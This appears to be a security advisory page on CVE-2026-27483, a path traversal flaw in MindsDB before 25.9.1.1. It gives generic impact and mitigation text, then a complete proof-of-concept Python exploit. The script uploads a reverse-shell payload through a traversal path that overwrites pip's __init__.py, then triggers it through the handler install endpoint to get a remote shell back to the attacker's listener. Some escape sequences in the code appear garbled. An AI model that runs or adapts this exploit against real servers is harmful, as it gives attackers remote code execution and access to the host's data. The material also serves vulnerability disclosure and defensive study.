Overview
The MindsDB version 25.9.1.1 vulnerability, identified as CVE-2026-27483, is a critical path traversal flaw that allows unauthorized users to access sensitive files on the server. This vulnerability occurs due to improper validation of user-supplied input, which can be exploited to traverse the file system and access files outside the intended directory. Cybersecurity professionals should be aware of this issue to prevent potential exploitation.
Technical Details
The path traversal vulnerability in MindsDB arises from inadequate sanitization of input parameters. When an attacker crafts a malicious request, they can manipulate the file paths to include sequences like ../, enabling them to move up the directory structure. For instance, if the application restricts access to the /var/www/mindsdb/data directory, an attacker could potentially access sensitive files such as /etc/passwd or configuration files by exploiting the traversal vector.
This flaw can be exploited through various methods, including HTTP requests that directly interact with the vulnerable API endpoints. Attackers can use tools like Burp Suite to intercept and modify requests, effectively bypassing security controls and gaining unauthorized access to critical system files.
Impact
The potential consequences of CVE-2026-27483 are severe. Successful exploitation could lead to unauthorized access to sensitive data, including user credentials, configuration files, and even the ability to execute arbitrary commands on the server. This could compromise the entire application, leading to data breaches, service disruptions, and significant reputational damage for organizations relying on MindsDB.
Mitigation
To protect against this vulnerability, organizations should immediately update MindsDB to the latest version that addresses CVE-2026-27483. Regular patch management is crucial in maintaining the security posture of applications. Additionally, implementing proper input validation and sanitization mechanisms can significantly reduce the risk of path traversal attacks.
Security professionals should also conduct thorough code reviews and penetration testing to identify and remediate vulnerabilities in their applications. Employing web application firewalls (WAF) can help detect and block malicious requests that attempt to exploit path traversal flaws. Lastly, educating development teams about secure coding practices is essential to prevent similar vulnerabilities in the future.
Proof of Concept (PoC)
# Exploit Title: MindsDB 25.9.1.1 - Path Traversal
# Date: 06-03-2026
# Exploit Author: Lohitya Pushkar (thewhiteh4t)
# Vendor Homepage: https://mindsdb.com/
# Software Link: https://github.com/mindsdb/mindsdb
# Version: < 25.9.1.1
# Tested on: Arch Linux
# CVE : CVE-2026-27483
# Original Advisory: https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq
# Vulnerability Discovery: XlabAITeam
import argparse
import random
import re
import string
import sys
import requests
from packaging.version import Version
PIP_PATH = "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
HANDLER = "anomaly_detection" # query /api/handlers/ -> not installed handlers
BANNER = """
-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------
[>] Found By : XlabAITeam
[>] PoC By : Lohitya Pushkar (thewhiteh4t)
"""
try:
parser = argparse.ArgumentParser()
parser.add_argument("-rh", default="127.0.0.1", help="Target host")
parser.add_argument("-rp", default="47334", help="Target port")
parser.add_argument("-lh", help="Listener host")
parser.add_argument("-lp", default="4444", help="Listener port")
parser.add_argument("-u", help="Username")
parser.add_argument("-p", help="Password")
args = parser.parse_args()
rhost = args.rh
rport = args.rp
lhost = args.lh
lport = args.lp
user = args.u
pswd = args.p
base_url = f"http://{rhost}:{rport}"
print(BANNER)
print(f"[>] Target : {base_url}")
print(f"[>] LHOST : {lhost}")
print(f"[>] LPORT : {lport}n")
def login(username, password):
r = requests.post(
f"{base_url}/api/login", json={"username": username, "password": password}
)
if r.status_code == 200 and "token" in r.text:
token = r.json().get("token")
print("[+] Login successful!")
return token
print("[!] Login failed : ", r.status_code)
print(f"---n{r.text}n---")
return None
print("[*] Checking status...n")
r = requests.get(f"{base_url}/api/status")
if r.status_code != 200:
print("[-] Status code :", r.status_code)
print(f"---n{r.text}n---")
sys.exit()
status_json = r.json()
ver = status_json["mindsdb_version"]
auth = status_json["auth"]["http_auth_enabled"]
print(f"[*] MindsDB Version : {ver}")
auth_headers = {}
ver_clean = Version(re.sub(r"[a-zA-Z].*$", "", ver))
if ver_clean < Version("25.4.1.0"):
print(
f"[!] Version {ver} < 25.4.1.0 — may use Python 3.8/3.9, PoC targets 3.10, manually edit PIP_PATH and try again."
)
sys.exit(0)
if ver_clean >= Version("25.9.1.1"):
print(f"[!] Version {ver} is patched (>= 25.9.1.1). Aborting.")
sys.exit(0)
if auth:
if not user or not pswd:
print("[!] Auth is enabled. Provide --username and --password.")
sys.exit()
token = login(user, pswd)
if not token:
sys.exit()
auth_headers = {"Authorization": f"Bearer {token}"}
else:
print("[*] Auth disabled — proceeding unauthenticated")
shell_pl = f'''#!/usr/bin/env python3
import os,pty,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("{lhost.strip()}",{lport.strip()}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
'''.replace("n", "rn")
fname = "".join(random.choices(string.ascii_lowercase, k=8))
payload = {"name": fname, "source": fname, "source_type": "file"}
infile = {"file": (PIP_PATH, shell_pl, "text/plain")}
print("[*] Uploading payload :", fname)
pr = requests.put(
f"{base_url}/api/files/{fname}",
data=payload,
files=infile,
headers=auth_headers,
)
if pr.status_code == 400:
print("[+] Payload uploaded!")
else:
print("[-] Payload upload request :", pr.status_code)
print(f"---n{pr.text}n---")
sys.exit()
print("[*] Triggering payload...")
r = requests.post(
f"{base_url}/api/handlers/{HANDLER}/install", json={}, headers=auth_headers
)
except Exception as exc:
print("[-] Exception :", exc)
except KeyboardInterrupt:
sys.exit()